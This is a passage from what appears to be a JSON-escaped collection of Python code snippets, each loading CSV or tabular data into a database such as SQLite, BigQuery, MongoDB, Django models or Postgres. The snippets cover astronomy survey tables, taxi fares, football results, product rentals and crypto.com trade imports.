print(f'Last ObjectCD found in ZTF.Object = {min_object_cd}. Processing new objects...')\\n\\n # Process Object table in batches\\n sz_obj = 100000\\n # There are about 53.3 million objects according to the DB statistics\\n nMax_obj: int = 55000000\\n for n0 in tqdm(range(0, nMax_obj, sz_obj)):\\n # df_obj = load_ztf_objects(n0=n0, sz=sz_obj, min_object_cd=min_object_cd)\\n min_object_cd = str(sp2df('ZTF.GetObjectLast').LastObjectCD[0])\\n df_obj = load_ztf_objects(n0=0, sz=sz_obj, min_object_cd=min_object_cd)\\n df_obj.to_csv(fname_obj, index=False)\\n csv2db(schema=schema, table='Object', columns=columns_obj, fname_csv=fname_obj)\\n # Quit early if no rows in resultset\\n if df_obj.shape[0] == 0:\\n break\\n\\n # The last object code already in the DB\\n min_detection_id= int(sp2df('ZTF.GetDetectionLast').LastDetectionID[0])\\n print(f'Last DetectionID found in ZTF.Detection = {min_detection_id}. Processing new objects...')\\n\\n # Process Detection table in batches\\n sz_det = 100000\\n # There are about 146.3 million detections according to the DB statistics\\n nMax_det: int = 147000000\\n for n0 in tqdm(range(0, nMax_det, sz_det)):\\n # df_det = load_ztf_detections(n0=n0, sz=sz_det, min_detection_id=min_detection_id)\\n min_detection_id= int(sp2df('ZTF.GetDetectionLast').LastDetectionID[0])\\n df_det = load_ztf_detections(n0=0, sz=sz_det, min_detection_id=min_detection_id)\\n df_det.to_csv(fname_det, index=False)\\n csv2db(schema=schema, table='Detection', columns=columns_det, fname_csv=fname_det)\\n # Quit early if no rows in resultset\\n if df_det.shape[0] == 0:\\n break\",\n \"def csv_handle(self,instance):\\n table_origin = self.csv_dataframe\\n in_column_num = len(self.column_names) \\n in_column_name = self.column_names\\n in_column_type = self.column_types\\n\\n instance.column_num = instance.tables[0].column_num = in_column_num\\n for i in range(instance.column_num):\\n instance.tables[0].names.append(in_column_name[i])\\n instance.tables[0].types.append(Type.getType(in_column_type[i].lower())) #getType is a static method\\n instance.tables[0].origins = [i for i in range(instance.tables[0].column_num)]\\n \\n instance.tuple_num = instance.tables[0].tuple_num = table_origin.shape[0] # the number of rows\\n for i in range(instance.tables[0].column_num):\\n if instance.tables[0].types[i] == 3: #if there is date type column in csv,convert into datetime format\\n col_name = table_origin.columns[i]\\n col_type = self.column_types[i]\\n self.csv_handle_changedate(col_name,col_type)\\n \\n #change table column name with table_info column_names (for date type columns)\\n for i in range(len(table_origin.columns)):\\n table_origin.rename(columns={ table_origin.columns[i] : in_column_name[i] }, inplace=True) \\n instance.tables[0].D = table_origin.values.tolist() #dataframe to list type and feed to D(where to store all the table info )\\n return instance\",\n \"def convert_csv_to_SQLite3(self,\\n csv_path: str=None, # Path to .csv \\n destination: str=None, # Where to create .db\\n db_name: str=None, # Database name\\n table_name: str=None, # table name\\n **kwargs # Custom arguments for reader and writter\\n ):\\n # With scribe reader, read a .csv \\n # **kwargs, are used in params in the subclass Scibe_File_Writter\\n # **Kwargs Over-write convert_csv_to_db params\\n # Inherits from scribe_readers.Scribe_File_Reader\\n self.read_from_csv(csv_path, **kwargs) # Inherits from scribe_readers.Scribe_File_Reader\\n if db_name != None:\\n destination = f\\\"{destination}\\\\{db_name}.db\\\"\\n self.db_name = db_name\\n conn = self.create_sqlite_connection(destination) # Inherits from scribe_writers_Scribe_Scribe_SQLite_Writer\\n # Create connection also creates new db if it does not exist.\\n self.create_new_sqlite_table(conn=conn,\\n schema=self.dtypes,\\n table_name=f\\\"tbl_{table_name}\\\",\\n close_conn =False)\\n \\n \\\"\\\"\\\"Insert data into SQLite database\\\"\\\"\\\"\\n\\n table_name=f\\\"tbl_{table_name}\\\"\\n self.insert_into_sqlite_table(conn,\\n csv_path,\\n table_name,\\n self.shape,\\n self.delimiter)\",\n \"def get_data(self, csv_file):\\n pass\",\n \"def loadTaxi(file):\\n arr = []\\n with open(file, newline='') as csvfile:\\n reader = csv.DictReader(csvfile)\\n for row in reader:\\n row['fare_amount'] = float(row['fare_amount'])\\n row['pickup_longitude'] = float(row['pickup_longitude'])\\n row['pickup_latitude'] = float(row['pickup_latitude'])\\n row['dropoff_longitude'] = float(row['dropoff_longitude'])\\n row['dropoff_latitude'] = float(row['dropoff_latitude'])\\n row['pickup_datetime'] = datetime.strptime(\\n row['pickup_datetime'], '%Y-%m-%d %H:%M:%S %Z')\\n arr.append(row)\\n\\n inserted_ids = db.taxi.insert_many(arr).inserted_ids\\n print(\\\"{} taxi docs inserted\\\".format(len(inserted_ids)))\",\n \"def insert_data():\\n table = create_new_table()\\n filename = '/home/nineleaps/Downloads/covid_info_.csv'\\n dataset_ref = client.dataset(table.dataset_id)\\n table_ref = dataset_ref.table(table.table_id)\\n job_config = bigquery.LoadJobConfig()\\n job_config.source_format = bigquery.SourceFormat.CSV\\n job_config.skip_leading_rows = 1\\n job_config.autodetect = True\\n with open(filename, \\\"rb\\\") as source_file:\\n job = client.load_table_from_file(source_file, table_ref, job_config=job_config)\\n job.result()\\n print(\\\"Loaded {} rows into {}:{}.\\\".format(job.output_rows, table.dataset_id, table.table_id))\",\n \"def import_csv(self, csvfileobject):\\n # Clear previously stored info\\n self._tracks = []\\n self._selected = None\\n\\n for row in csvfileobject:\\n if row[0] == \\\"T\\\":\\n track = self.addTrack()\\n track.properties = row\\n elif row[0] == \\\"P\\\":\\n period = self.addPeriod([0,1,'-'])\\n period.properties = row\",\n \"def import_data_helper(self): \\n if len(self.components) == 1:\\n hapi.fetch(TableName = self.tablename, M = self.components[0][0], I = self.components[0][1], numin = self.min_x, numax = self.max_x)\\n else: \\n global_id = []\\n for c in self.components:\\n global_id.append(hapi.ISO[c][0])\\n hapi.fetch_by_ids(TableName = self.tablename, iso_id_list = global_id, numin = self.min_x, numax = self.max_x)\",\n \"def _insert_data(self, query, columns):\\n with open(self.file, encoding='utf8') as f:\\n csvreader = csv.reader(f)\\n next(csvreader) # skipping header\\n for line in csvreader:\\n line[5] = float(line[5])\\n line[8] = int(line[8])\\n line[3] = int(line[3])\\n line[10] = int(line[10])\\n self.session.execute(query, tuple(map(line.__getitem__, columns)))\",\n \"def csv_reader2(file_obj):\\n global grilles\\n # le tableau qui contient les gagnants\\n grilles = [list(map(int,rec[1:])) for rec in csv.reader(file_obj, delimiter=';')]\",\n \"def csv_loader(csv_file):\\n df = pd.read_csv(csv_file, sep=';', parse_dates=['Data_Alteraçao'])\\n pd.set_option('display.float_format', '{:.0f}'.format)\\n\\n df = df.fillna(0)\\n df = df.drop(columns=['Cod. Pareamento', 'Cod. UF', 'Sigla UF', 'Cod. Subarea',\\n 'Nome Subarea', 'Cod. Municipio', 'Nome Municipio', 'Codigo Agencia',\\n 'Nome Agencia', 'Cod. Setor', 'Cod. Logradouro CNEFE',\\n 'Tipo Logradouro CNEFE', 'Titulo Logradouro CNEFE',\\n 'Nome Logradouro CNEFE', 'Nome Tratado CNEFE', 'Tipo Logradouro DNE',\\n 'Titulo Logradouro DNE', 'Nome Logradouro DNE', 'Nome Tratado DNE',\\n 'Logradouro Completo DNE', 'Distancia', 'Cod. Match', 'Motivo Match',\\n 'CEPs Face', 'Localidade Face',\\n 'Alterar Logradouro para DNE?', 'Observaçao', 'SIAPE Alteração',\\n 'Nome Alteraçao', 'Data_Alteraçao', 'Status', 'Unnamed: 33'])\\n\\n # df.astype({'CEP Logradouro CNEFE': 'int32'}).dtypes\\n\\n df['CEP'] = df['CEP'].str.replace(' ', '', regex=False)\\n\\n ceps_dne = []\\n for index, row in df.iterrows():\\n if type(row.CEP) == str:\\n for cep in row.CEP.split(','):\\n # print(index, cep)\\n ceps_dne.append(int(cep))\\n\\n ceps_cnefe = df['CEP Logradouro CNEFE'].astype(int).tolist()\\n ceps = ceps_dne + ceps_cnefe\\n ceps = list(set(ceps))\\n return pd.Series(ceps)\",\n \"def CSV_Load_File( self, infilename ):\\n print( 'Loading \\\"{}\\\"'.format(infilename) )\\n IN = open( infilename, 'r' )\\n standname = None\\n laststand = None\\n for L in IN:\\n if( L[0:9] == 'Site/Plot' ): continue\\n col = L.split( ',' )\\n standname = col[0]\\n year = int(col[1])\\n #if( re.search( '-', standname ) != None ):\\n # loc = re.search( '-', standname )\\n # year = int(standname[loc.start()+1:])\\n # standname = standname[0:loc.start()]\\n #print standname, year\\n if( (standname != None ) & (standname != laststand) ): self.Data.Stand[standname] = StandData( standname )\\n (treeno, species, dbh, ht, live, status, cclass, tpa) = \\\\\\n (int(col[2]), col[3], float(col[4]), float(col[5]), col[6], col[7], int(float(col[8])), float(col[9]))\\n if( OPT['d'] ):\\n if( dbh > 10.0 ): dbh *= 1.25\\n if( dbh > 15.0 ): dbh *= 1.50\\n for t in range( 1, int( math.ceil( tpa ))+1, 1 ):\\n ntree = len( self.Data.Stand[standname].Tree ) + 1\\n self.Data.Stand[standname].Tree[ntree] = TreeData( species, TreeNumber=treeno )\\n self.Data.Stand[standname].Tree[ntree].Year[year] = MeasurementData( dbh, ht, '', 1, live, status, cclass )\\n laststand = standname\\n IN.close()\",\n \"def parse_batch_db_entry(row) -> PlantBatch:\\n\\n # We need to reassign to a new variable since dicts are immutable\\n print(row)\\n row0 = ast.literal_eval(row[0])\\n row1 = ast.literal_eval(row[1])\\n row2 = ast.literal_eval(row[2])\\n\\n plant: Plant = Plant(name=row0['name'], family_name=row0['family_name'], metadata=row0['metadata'])\\n location: Location = Location(row1['name'], row1['area'], Climate(row1['climate_type']))\\n tray: Tray = Tray(row2['tray_type'], row2['footprint'], row2['capacity'])\\n n_trays: int = int(row[3])\\n planting_time: datetime = datetime.fromisoformat(row[4])\\n\\n batch: PlantBatch = PlantBatch(plant, location, tray, n_trays, planting_time)\\n\\n return batch\",\n \"def __init__(self, csv_file):\\n self.database = []\\n\\n with open(csv_file, \\\"r+\\\", encoding=\\\"utf-8\\\", newline=\\\"\\\") as file:\\n reader = csv.DictReader(file)\\n counter = 1\\n for row in reader:\\n if row[\\\"Typ\\\"] == \\\"Book\\\":\\n object = Book(id=row[\\\"ID\\\"], name=row[\\\"Nazwa\\\"], price=20, amount=row[\\\"Ilość\\\"],\\n created_at=row[\\\"Data dodania\\\"], last_buy_at=row[\\\"Data ostatniego zakupu\\\"],\\n author=row[\\\"Autor\\\"], number_of_pages=row[\\\"Ilość stron\\\"], pic=row['Link do miniaturki'])\\n self.database.append(object)\\n counter += 1\\n elif row[\\\"Typ\\\"] == \\\"Ebook\\\":\\n object = Ebook(id=row[\\\"ID\\\"], name=row[\\\"Nazwa\\\"], price=20, amount=row[\\\"Ilość\\\"],\\n created_at=row[\\\"Data dodania\\\"], last_buy_at=row[\\\"Data ostatniego zakupu\\\"],\\n author=row[\\\"Autor\\\"], number_of_pages=row[\\\"Ilość stron\\\"],\\n pic=row['Link do miniaturki'],\\n format=row[\\\"Format\\\"])\\n self.database.append(object)\\n counter += 1\",\n \"def _load_data(self):\\n\\n def __correct_car_make(car_make):\\n \\\"\\\"\\\" Corrects given make names to a standard make name. \\\"\\\"\\\"\\n ## define model corrections\\n correct_makes = {\\n 'chevroelt': 'chevrolet',\\n 'chevy': 'chevrolet',\\n 'maxda': 'mazda',\\n 'mercedes-benz': 'mercedes',\\n 'toyouta': 'toyota',\\n 'vokswagen': 'volkswagen',\\n 'vw': 'volkswagen'\\n }\\n ## return corrected make\\n return correct_makes[car_make] if car_make in correct_makes.keys() else car_make\\n\\n logger.debug('checking auto-mpg.data.txt')\\n if not path.exists('auto-mpg.data.txt'):\\n ## file not present, get it\\n logger.debug('getting auto-mpg.data.txt')\\n self._get_data()\\n if not path.exists('auto-mpg.clean.txt'):\\n ## file not present, clean it\\n self._clean_data()\\n \\n ## we got the data and we cleaned it\\n logger.debug('checking auto-mpg.clean.txt')\\n try:\\n with open('auto-mpg.clean.txt', 'r') as clean_data:\\n logger.debug('auto-mpg.clean.txt exists')\\n ## counter for auto objects\\n counter = 0\\n logger.debug('Parsing auto-mpg.clean.txt into AutoMPG objects')\\n for auto_record in csv.reader(clean_data, delimiter= ' ', skipinitialspace= True):\\n ## split the car name into 2 tokens\\n split = auto_record[8].replace('\\\\'', '').split(' ', 1)\\n ## handle the case for 'subaru'\\n if len(split) < 2:\\n make = f'{split[0]}'\\n auto = Record(auto_record[0], auto_record[6], __correct_car_make(make), '')\\n elif len(split) == 2:\\n make = f'{split[0]}'\\n model = f'{split[1]}'\\n auto = Record(auto_record[0], auto_record[6], __correct_car_make(make), model)\\n counter += 1\\n ## append the auto object\\n self.data.append(AutoMPG(auto.make, auto.model, auto.year, auto.mpg))\\n except Exception as e:\\n logger.info(f'Error occurred: {e}')\",\n \"def ingest_product_csv(csv_path):\\n # Create a CSV import generator (next yields one db row)\\n import_generator = import_csv_gen(csv_path)\\n # Skip over the title row\\n next(import_generator)\\n # Iterate over all other rows\\n while True:\\n try:\\n data = next(import_generator)\\n if len(data) != 4:\\n logger.error(f'Data with incorrect item count: {len(data)}')\\n continue\\n # extract items from list and add document to database\\n with Connection():\\n product = Product(\\n product_id=data[PROD_ID],\\n description=data[PROD_DESC],\\n product_type=data[PROD_TYPE],\\n quantity_available=data[PROD_QTY]\\n )\\n product.save() # This will perform an insert\\n except StopIteration:\\n break\",\n \"def load_data():\\n\\tscores = pd.read_csv('../data/user_assessment_scores.csv')\\n\\tviews = pd.read_csv('../data/user_course_views.csv')\\n\\ttags = pd.read_csv('../data/course_tags.csv')\\n\\tinterests = pd.read_csv('../data/user_interests.csv')\\n\\n\\tdb_file = '../db/usersim.sqlite'\\n\\ttry:\\n\\t\\tengine = sqlite3.connect(db_file, timeout=10)\\n\\t\\tscores.to_sql('scores', engine, if_exists='replace', index=False, index_label='user_handle')\\n\\t\\tviews.to_sql('views', engine, if_exists='replace', index=False, index_label='user_handle')\\n\\t\\ttags.to_sql('tags', engine, if_exists='replace', index=False, index_label='course_id')\\n\\t\\tinterests.to_sql('interests', engine, if_exists='replace', index=False, index_label='user_handle')\\n\\texcept:\\n\\t\\tprint('Error occured while inserting into database')\\n\\tfinally:\\n\\t\\tif engine:\\n\\t\\t\\tengine.close()\\n\\treturn scores, views, tags, interests\",\n \"def read_csv():\",\n \"def populate_from_samples():\\n\\n # Tags\\n try:\\n for row in get_csv_data('samples/tags.csv'):\\n tag = Tag(name=row['Name'], desc=row['Description'])\\n db_session.add(tag)\\n finally:\\n db_session.commit()\\n\\n # Organizations\\n try:\\n for row in get_csv_data('samples/organizations.csv'):\\n org = Organization(desc=row['Name'])\\n db_session.add(org)\\n finally:\\n db_session.commit()\\n\\n # Departments\\n try: \\n for row in get_csv_data('samples/departments.csv'):\\n org = db_session.query(Organization).filter_by(desc=row['Organization']).one()\\n dpt = Department(desc=row['Department'], org=org)\\n\\n db_session.add(dpt)\\n finally:\\n db_session.commit()\\n\\n # Application types\\n try:\\n for row in get_csv_data('samples/apptypes.csv'):\\n apptype = AppType(desc=row['Name'])\\n db_session.add(apptype)\\n finally:\\n db_session.commit()\\n\\n # Applications\\n try:\\n for row in get_csv_data('samples/applications.csv'):\\n apptype = db_session.query(AppType).filter_by(desc=row['AppType']).one()\\n dpt = db_session.query(Department).join(Organization).\\\\\\n filter(Department.desc==row['Department']).\\\\\\n filter(Organization.desc==row['Organization']).\\\\\\n one()\\n\\n app = App(desc=row['Application'], \\n app_type=apptype, \\n department=dpt,\\n version=row['Version'],\\n environment=row['Environment'],\\n platform=row['Platform']\\n )\\n\\n db_session.add(app)\\n finally:\\n db_session.commit()\\n\\n # Connections and Headers\\n try:\\n for row in get_csv_data('samples/connections.csv'):\\n conn = Connection(conn_type=row['Type'], url=row['URL'], port=row['Port'], answer=row['Answer'])\\n header = Header(conn_id=conn.id, header=row['Header'], value=row['Value'], conn=conn)\\n\\n db_session.add(conn)\\n db_session.add(header)\\n finally:\\n db_session.commit()\",\n \"def insert_into_sql(chunk):\\n bulk_list = []\\n for row in chunk:\\n bulk_list.append(StockData(\\n date=str(row[0])[0:4] + '-' + str(row[0])[4:6] + '-' + str(row[0])[6:8],\\n code=row[1],\\n code_name=row[2],\\n d1_diff_rate=row[3],\\n close=row[4],\\n open=row[5],\\n high=row[6],\\n low=row[7],\\n volume=row[8],\\n clo5=row[9],\\n clo10=row[10],\\n clo20=row[11],\\n clo40=row[12],\\n clo60=row[13],\\n clo80=row[14],\\n clo100=row[15],\\n clo120=row[16],\\n clo5_diff_rate=row[17],\\n clo10_diff_rate=row[18],\\n clo20_diff_rate=row[19],\\n clo40_diff_rate=row[20],\\n clo60_diff_rate=row[21],\\n clo80_diff_rate=row[22],\\n clo100_diff_rate=row[23],\\n clo120_diff_rate=row[24],\\n yes_clo_5=row[25],\\n yes_clo_10=row[26],\\n yes_clo_20=row[27],\\n yes_clo_40=row[28],\\n yes_clo_60=row[29],\\n yes_clo_80=row[30],\\n yes_clo_100=row[31],\\n yes_clo_120=row[32],\\n vol5=row[33],\\n vol10=row[34],\\n vol20=row[35],\\n vol40=row[36],\\n vol60=row[37],\\n vol80=row[38],\\n vol100=row[39],\\n vol120=row[40],\\n ))\\n StockData.objects.bulk_create(bulk_list)\\n return bulk_list\",\n \"def load_data(self):\",\n \"def insert_data(data_type, data, db_cursor, database):\\n for each_file in data:\\n with open(f'{DATA_PATH}{each_file}.csv') as csv_file:\\n csv_reader = csv.reader(csv_file, delimiter=',')\\n line_count = 0\\n for row in csv_reader:\\n # do not process the header row, ignore line 0.\\n if line_count != 0:\\n if data_type == 'stadium_team':\\n pass\\n stadium_name = row[1].upper()\\n x_coord = float(row[3])\\n y_coord = float(row[2])\\n team = row[0].upper()\\n sql = f'INSERT INTO stadium (stadium_name, x_coord, y_coord) ' \\\\\\n f'VALUES (\\\"{stadium_name}\\\", {x_coord}, {y_coord})'\\n db_cursor.execute(sql)\\n database.commit()\\n sql = f'INSERT INTO team (name_pk, stadium_id_fk) ' \\\\\\n f'SELECT \\\"{team}\\\", stadium_id_pk ' \\\\\\n f'FROM stadium ' \\\\\\n f'WHERE stadium_name = \\\"{stadium_name}\\\"'\\n db_cursor.execute(sql)\\n database.commit()\\n elif data_type == 'game':\\n home_team = row[3].upper()\\n away_team = row[4].upper()\\n season = row[0]\\n home_team_score = row[5]\\n away_team_score = row[6]\\n sql = f'INSERT INTO game (home_team_id_pk_fk, away_team_id_pk_fk, season_pk, home_team_score, away_team_score) ' \\\\\\n f'SELECT team1.team_id_pk, team2.team_id_pk, {season}, {home_team_score}, {away_team_score} ' \\\\\\n f'FROM team team1, team team2 ' \\\\\\n f'WHERE team1.name_pk = \\\"{home_team}\\\" ' \\\\\\n f'AND team2.name_pk = \\\"{away_team}\\\"'\\n db_cursor.execute(sql)\\n database.commit()\\n elif data_type == 'season_overview':\\n team = row[2]\\n season = row[0]\\n position = row[1]\\n goals_for = row[7]\\n goals_against = row[8]\\n wins = row[4]\\n draws = row[5]\\n losses = row[6]\\n sql = f'INSERT INTO season_overview (team_id_pk_fk, season_pk, position, goals_for, goals_against, wins, draws, losses) ' \\\\\\n f'SELECT team.team_id_pk, {season}, {position}, {goals_for}, {goals_against}, {wins}, {draws}, {losses} ' \\\\\\n f'FROM team ' \\\\\\n f'WHERE name_pk = \\\"{team}\\\" '\\n db_cursor.execute(sql)\\n database.commit()\\n else:\\n print('Invalid data type sent in!')\\n raise sys.exit\\n line_count += 1\",\n \"def ingest_rental_csv(csv_path):\\n # Create a CSV import generator (next yields one db row)\\n import_generator = import_csv_gen(csv_path)\\n # Skip over the title row\\n next(import_generator)\\n # Iterate over all other rows\\n while True:\\n try:\\n data = next(import_generator)\\n if len(data) != 2:\\n logger.error(f'Data with incorrect item count: {len(data)}')\\n continue\\n # extract items from list and add document to database\\n with Connection():\\n rental = Rental(\\n product_id=data[RENTAL_PROD_ID],\\n user_id=data[RENTAL_USER_ID]\\n )\\n rental.save() # This will perform an insert\\n except StopIteration:\\n break\",\n \"def _import_cryptocom_double_entries(self, data: Any, double_type: str) -> None:\\n double_rows: Dict[Any, Dict[str, Any]] = {}\\n debited_row = None\\n credited_row = None\\n for row in data:\\n if row['Transaction Kind'] == f'{double_type}_debited':\\n timestamp = deserialize_timestamp_from_date(\\n date=row['Timestamp (UTC)'],\\n formatstr='%Y-%m-%d %H:%M:%S',\\n location='crypto.com',\\n )\\n if timestamp not in double_rows:\\n double_rows[timestamp] = {}\\n double_rows[timestamp]['debited'] = row\\n elif row['Transaction Kind'] == f'{double_type}_credited':\\n timestamp = deserialize_timestamp_from_date(\\n date=row['Timestamp (UTC)'],\\n formatstr='%Y-%m-%d %H:%M:%S',\\n location='crypto.com',\\n )\\n if timestamp not in double_rows:\\n double_rows[timestamp] = {}\\n double_rows[timestamp]['credited'] = row\\n\\n for timestamp in double_rows:\\n credited_row = double_rows[timestamp]['credited']\\n debited_row = double_rows[timestamp]['debited']\\n if credited_row is not None and debited_row is not None:\\n description = credited_row['Transaction Description']\\n notes = f'{description}\\\\nSource: crypto.com (CSV import)'\\n # No fees here\\n fee = Fee(ZERO)\\n fee_currency = A_USD\\n\\n base_asset = Asset(credited_row['Currency'])\\n quote_asset = Asset(debited_row['Currency'])\\n pair = TradePair(f'{base_asset.identifier}_{quote_asset.identifier}')\\n base_amount_bought = deserialize_asset_amount(credited_row['Amount'])\\n quote_amount_sold = deserialize_asset_amount(debited_row['Amount'])\\n rate = Price(abs(base_amount_bought / quote_amount_sold))\\n\\n trade = Trade(\\n timestamp=timestamp,\\n location=Location.CRYPTOCOM,\\n pair=pair,\\n trade_type=TradeType.BUY,\\n amount=base_amount_bought,\\n rate=rate,\\n fee=fee,\\n fee_currency=fee_currency,\\n link='',\\n notes=notes,\\n )\\n self.db.add_trades([trade])\",\n \"def load_data(self) -> None:\",\n \"def parse_csv_row(self, row):\\n\\n for key in self.field_map:\\n if self.field_map[key] is not None:\\n if key == 'marking':\\n self.obstacle_data[key] = self.get_marking_value(row[self.field_map[key]].strip())\\n elif key == 'lighting':\\n self.obstacle_data[key] = self.get_lighting_value(row[self.field_map[key]].strip())\\n elif key == 'obst_type':\\n self.obstacle_data['obst_type_id'] = self.get_obstacle_type_id(row[self.field_map[key]].strip())\\n else:\\n self.obstacle_data[key] = row[self.field_map[key]].strip()\",\n \"def csv_dict_reader(file_obj):\\r\\n with open('heatmap_data_10_200_out.csv','wb') as file:\\r\\n\\t reader = csv.DictReader(file_obj, delimiter=',')\\r\\n\\t for line in reader:\\r\\n\\t \\t# data = \\\"{location: new google.maps.LatLng(\\\" + str(line[\\\"latitude\\\"]) + \\\", \\\" + str(line[\\\"longitude\\\"]) + \\\") , weight: \\\" + str(float(line[\\\"predicted_price\\\"])/1000) + \\\" }, \\\"\\r\\n\\t \\tdata = line[\\\"predicted_price\\\"] + \\\";\\\" + str(line[\\\"latitude\\\"]) + \\\"; \\\" + str(line[\\\"longitude\\\"]) \\r\\n\\t \\t# data = \\\"new google.maps.LatLng(\\\" + str(line[\\\"latitude\\\"]) + \\\", \\\" + str(line[\\\"longitude\\\"]) + \\\"),\\\"\\r\\n\\t \\tprint data\\r\\n\\t # print(line[\\\"latitude\\\"]),\\r\\n\\t # print(line[\\\"longitude\\\"])\\r\\n\\r\\n\\t \\r\\n\\t \\tfile.write(data)\\r\\n\\t \\tfile.write('\\\\n')\",\n \"def create_dat_from_csv(windgrid_file, DAT_header, output_file, wind_field='gust_mph', latitude_field='lat', longitude_field='lon'):\\n df = pd.read_csv(windgrid_file)\\n df['geometry'] = [Point(x, y) for x, y in zip(\\n df[longitude_field], df[latitude_field])]\\n gdf = gpd.GeoDataFrame(df, geometry='geometry')\\n create_dat_from_geodataframe(\\n gdf, DAT_header, output_file, wind_field=wind_field)\",\n \"def execute(self,context):\\n postgres = PostgresHook(postgres_conn_id = self.postgres_conn_id)\\n conn = postgres.get_conn()\\n cursor = conn.cursor()\\n start = datetime.now()\\n logging.info(\\\"Clearing data for each load\\\")\\n postgres.run(\\\"TRUNCATE TABLE {}\\\".format(self.table))\\n\\n logging.info(f\\\"Loading table {self.table}\\\")\\n sql =f\\\"COPY {self.table} FROM STDIN DELIMITER ',' CSV HEADER\\\"\\n cursor.copy_expert(sql, open(self.path, \\\"r\\\"))\\n conn.commit()\\n logging.info(f\\\"Loaded table {self.table}\\\")\\n end = datetime.now()\\n time_taken = (end-start)\\n logging.info(f\\\"Time taken:{time_taken}\\\")\",\n \"def DataLoader():\\n #importing data\\n House_Prices_Uncleaned = pd.read_csv(\\\"zillow_data/Zip_zhvi_uc_sfrcondo_tier_0.33_0.67_sm_sa_mon.csv\\\")\\n #Cleaning house prices data\\n\\n House_Prices=pd.DataFrame(House_Prices_Uncleaned[\\\"RegionName\\\"][House_Prices_Uncleaned[\\\"CountyName\\\"]==\\\"New York County\\\"])\\n\\n House_Prices[\\\"Price\\\"]=pd.DataFrame(House_Prices_Uncleaned[\\\"2020-09-30\\\"])\\n\\n House_Rent_Uncleaned= pd.read_csv(\\\"zillow_data/Zip_ZORI_AllHomesPlusMultifamily_SSA.csv\\\")\\n\\n #Cleaning house rent data\\n House_Rent=pd.DataFrame(House_Rent_Uncleaned[\\\"RegionName\\\"])\\n House_Rent[\\\"Rent\\\"]=pd.DataFrame(House_Rent_Uncleaned[\\\"2020-09\\\"])\\n\\n return House_Prices, House_Rent\",\n \"def loadCSVFile (file, sep=\\\";\\\"):\\n lst = lt.newList(\\\"ARRAY_LIST\\\") #Usando implementacion arraylist\\n #lst = lt.newList() #Usando implementacion linkedlist\\n print(\\\"Cargando archivo ....\\\")\\n t1_start = process_time() #tiempo inicial\\n dialect = csv.excel()\\n dialect.delimiter=sep\\n try:\\n with open(file, encoding=\\\"utf-8\\\") as csvfile:\\n spamreader = csv.DictReader(csvfile, dialect=dialect)\\n for row in spamreader: \\n lt.addLast(lst,row)\\n except:\\n print(\\\"Hubo un error con la carga del archivo\\\")\\n t1_stop = process_time() #tiempo final\\n print(\\\"Tiempo de ejecución \\\",t1_stop-t1_start,\\\" segundos\\\")\\n return lst\",\n \"def __load_gt(df_table, df_idx, p_csv):\\n idx_start = df_idx\\n with open(p_csv, 'rb') as f_csv:\\n for line in f_csv:\\n # decoding french letters and mapping them to UTF-8\\n str_line = line.decode('utf-8', 'replace').strip()\\n # gt annotations may end with empty lines\\n if str_line == '':\\n continue\\n # parsing line\\n img_path, transcript = str_line.split(self.sep)\\n img_path = img_path.encode('ascii', 'ignore').decode('ascii', 'ignore')\\n # parsing french to ASCII\\n transcript = transcript#.lower()\\n transcript = self.to_ascii(transcript)\\n # determine img path\\n img_path = os.path.join(self.imgs_path, img_path)\\n # filling table\\n # if self.lower_case:\\n # transcript = transcript.lower()\\n if not os.path.isfile(img_path):\\n pass\\n # raise FileNotFoundError('No image exists at {}'.format(img_path))\\n warnings.warn('No image exists at {}'.format(img_path))\\n continue\\n if not self.lazy_loading:\\n self.form_imgs[img_path] = np.array(Image.open(img_path)).astype(np.uint8)\\n # storing relevant data\\n df_table['transcription'].append(transcript)\\n df_table['form_path'].append(img_path)\\n df_table['word_id'].append(df_idx)\\n df_table['bbox'].append([])\\n df_idx += 1\\n return df_table, df_idx, list(range(idx_start, df_idx))\",\n \"def read_all_odbsql_stn_withfeedback(dataset, odbfile):\\n columns, kinds, tdict = make_odb_header(odbfile, dataset) \\n try: \\n t=time.time() \\n try:\\n f=gzip.open(odbfile) \\n except:\\n print(odbfile, 'The zipped ODB file was not found !')\\n return\\n \\n #d=['date@hdr','time@hdr','statid@hdr','vertco_reference_1@body','varno@body','reportype','andate','antime',\\n # 'obsvalue@body','fg_depar@body','an_depar@body','biascorr@body','sonde_type@conv','collection_identifier@conv','source@hdr']\\n \\n # had to remove 'collection_identifier@conv' to make it work with 1, 3188, 1759, 1761 \\n \\n tdict['sensor@hdr']=numpy.float32\\n tdict['ppcode@conv_body']=numpy.float32\\n \\n '''\\n d=['date@hdr','time@hdr','statid@hdr','vertco_reference_1@body','varno@body','lon@hdr','lat@hdr','seqno@hdr',\\n 'obsvalue@body','source@hdr' , 'vertco_type@body']\\n \\n if 'fg_depar@body' in columns: # creating the colkumns for era5fb \\n d=d+['fg_depar@body','an_depar@body','biascorr@body','sonde_type@conv','reportype','andate','antime']\\n '''\\n \\n# restrict feedback to certain columns \\n #for c in columns:\\n # if c not in d:\\n # del tdict[c]\\n \\n #columns=d.copy()\\n \\n alldict=pd.read_csv(f,delimiter='\\\\t', usecols=columns, quoting=3,comment='#', skipinitialspace=True, dtype=tdict) #nrows=1000000)\\n \\n \\\"\\\"\\\" Case where erafb is not available \\\"\\\"\\\"\\n if 'fg_depar@body' not in columns:\\n alldict['fg_depar@body']=numpy.float32(numpy.NaN)\\n alldict['an_depar@body']=numpy.float32(numpy.NaN)\\n alldict['biascorr@body']=numpy.float32(numpy.NaN)\\n alldict['sondetype@conv']=numpy.int32(-2147483648)\\n alldict['reportype']=numpy.int32(-2147483648)\\n \\n #print(time.time()-t,sys.getsizeof(alldict)//1024//1024)\\n idx=numpy.where(numpy.logical_or(alldict.reportype.values==16045,alldict.reportype.values==16068))[0]\\n if len(idx)>0:\\n \\n #alldict.drop(index=alldict.index[idx],inplace=True)\\n y=numpy.int64(alldict['date@hdr'].values)*1000000+alldict['time@hdr'].values\\n x=numpy.unique(y)\\n dropindex=[]\\n for i in range(1,x.shape[0]):\\n if x[i]-x[i-1]<60:\\n idx=numpy.where(y==x[i-1])[0]\\n if idx.shape[0]>0:\\n dropindex.append(idx)\\n else:\\n print('empty index')\\n if dropindex: \\n dropindex = numpy.concatenate(dropindex).ravel()\\n alldict.drop(index=alldict.index[dropindex],inplace=True)\\n \\n #print(time.time()-t) #,sys.getsizeof(alldict)//1024//1024)\\n \\n #idx=numpy.where(alldict.reportype.values==16045)[0]\\n #if idx.shape[0]>0:\\n #idy=numpy.where(numpy.logical_and(alldict.reportype.values!=16045,alldict.reportype.values!=16068))[0]\\n #if idy.shape[0]>0:\\n 